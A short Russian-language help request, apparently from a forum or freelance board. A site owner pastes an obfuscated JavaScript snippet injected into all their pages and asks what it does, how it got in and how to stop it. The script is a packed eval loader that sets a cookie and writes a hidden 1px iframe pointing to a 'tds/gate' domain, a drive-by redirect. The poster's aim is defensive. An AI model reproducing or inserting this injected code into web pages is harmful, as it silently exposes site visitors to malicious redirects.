По договоренности
Требуется помощь знающего человека.
На всех страницах сайта прописался вредоносный скрипт:
</html>
<script type="text/javascript">
var domain = "g-yandex.ru/tds/gate";
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'' :e( parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toStri ng(36 ))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c] ||e(c )}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[ c]){p =p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])} }retu rn p}('o C(r,G,D){m t=J N();m y="";t.U(t.Q()+D*P*H*H*O);y=t.R();l.n=r+"="+G +" ;S="+y}o E(r){m i=0;m j=0;m h=0;m u=l.n;z(i<=u.v){j=i;h=j+r.v;s(u.F(j,h)==r){j=h+1;h=l.n.V(" ;" ,j);s(h<j)h=l.n.v;q l.n.F(j,h);T}i++}q""}m u=l.n;s(E("B")=="I"){}W{C("B"," I" ,1);L(o(p,a,c,k,e,d){e=o(c){q c.x(M)};s(!\'\'.A(/^/,K)){z(c--){d[c.x(a)]=k[c]||c.x(a) }k=[o (e){q d[e]}];e=o(){q\'\\\\w+\'};c=1};z(c--){s(k[c]){p=p.A(J X(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k [c])} }q p}(\'6.7(\\\'<0 5="\\\'+4+\\\'" 2="3" 8="f" 9="e" d="c" a = "1" b = "1"></0>\\\');\',16,16,\'13|14| 12|11 |Y|Z|l|10|17|15|1c|1d|1e|1b|1a|18\'.19(\'|\'),0,{} ))}' ,62,77,'|||||||||||||||||nEndPosition||nStartPosition||docum e nt|var|cookie|function||return|szName|if|dtExpires|szCookieString |leng th||toString|dtExpiryDate|while|replace|expsid|addCookie|dtDaysEx pires |findCookie|substring|szValue|60|a0192e992bb5e61d51be0ae009c76edd |new| String|eval|36|Date|1000|24|getTime|toGMTString|expires|break|set Time| indexOf|else|RegExp|domain|src|write|facebook|name|iframe|1px|fra mebor der||scrolling|auto|split|no|align|height|width|center'.spli t(' |'),0,{}));
</script>
Необходимо подсказать что выполняет данный скрипт, как он мог проникунуть в код страницы, как не допустить такого в будущем, как с ним бороться.